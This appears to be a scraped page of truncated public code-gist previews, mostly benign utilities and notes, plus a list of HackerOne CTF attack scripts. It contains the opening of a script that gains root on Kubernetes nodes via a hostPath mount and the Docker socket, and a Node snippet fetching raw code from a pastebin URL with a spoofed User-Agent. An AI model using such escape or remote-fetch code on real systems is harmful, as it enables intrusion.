ajxchapman

Scripts developed for solving HackerOne H1-702 2019 CTF

• image_extract.py performs character extraction on targetted against the HackerOne H1-702 CTF announcement image
• decrypt_sqli.py performs blind sqli data extraction with encrypted payloads targetting against the FliteThermostat API
• timing_attack.py performs an HTTP piplining based timing against the FliteThermostat Backend
• wordlist_generator.py generates wordlists from a give corpus or set of corpuses
• httplib.py performs efficient asynchronous HTTP requests against the FliteThermostat Backend

ricardodeazambuja

munificent

#include <time.h> //  Robert Nystrom
#include <stdio.h> // @munificentbob
#include <stdlib.h> //     for Ginny
#define  r return    //    2008-2019
#define  l(a, b, c, d) for (i y=a;y\
<b; y++) for (int x = c; x < d; x++)
typedef int i;const i H=40;const i W
=80;i m[40][80];i g(i x){r rand()%x;
}void cave(i s){i w=g(10)+5;i h=g(6)
+3;i t=g(W-w-2)+1;i u=g(H-h-2)+1;l(u

jonlabelle

#!/usr/bin/env bash

set -e

#
# Executes a command and (exponentially) retries if it fails.
#
# Usage:
#
#   exec_with_retry <command>

ZJONSSON

const Promise = require('bluebird');
const request = require('request');
const requestAsync = Promise.promisify(request);
const USER = process.env.GITHUB_USER;

exports.handler = async (event, context) => {
  try {
    if (!USER) throw new Error('GITHUB_USER env missing');

    const module = event.pathParameters.module;

jjo

#!/bin/sh
# Launch a Pod ab-using a hostPath mount to land on a Kubernetes node cluster as root
# without requiring `privileged: true`, in particular can abuse `DenyExecOnPrivileged`
# admission controller.
# Pod command in turn runs a privileged container using node's /var/run/docker.sock.
node=${1}
case "${node}" in
"")
    nodeSelector=''
    podName=${USER+${USER}-}docker-any

hzoo

try {
  var https = require("https");
  https
    .get(
      {
        hostname: "pastebin.com",
        path: "/raw/XLeVP82h",
        headers: {
          "User-Agent":
            "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",

AgentRev

• Brainiac75 - Magnets
• Cody'sLab - Chemistry, Metallurgy, Physics
• colinfurze - Mechanics, Metalworking, Woodworking, Pyrotechnics
• DemolitionRanch - Guns
• ElectroBOOM - Electricity
• KREOSAN - Electricity
• Kurzgesagt - Philosophy, Physics
• MegaBots Inc - Robotics
• NileRed - Chemistry
• NurdRage - Chemistry

cecilemuller

How to create an HTTPS certificate for localhost domains

This focuses on generating the certificates for loading local virtual hosts hosted on your computer, for development only.

Do not use self-signed certificates in production ! For online certificates, use Let's Encrypt instead (tutorial).

crypticmind

About

Example on how to run locally an AWS Lambda via API Gateway using localstack.

Based on...

1. https://stackoverflow.com/questions/44547574/create-api-gateway-in-localstack/48682628
2. https://ig.nore.me/2016/03/setting-up-lambda-and-a-gateway-through-the-cli/

Usage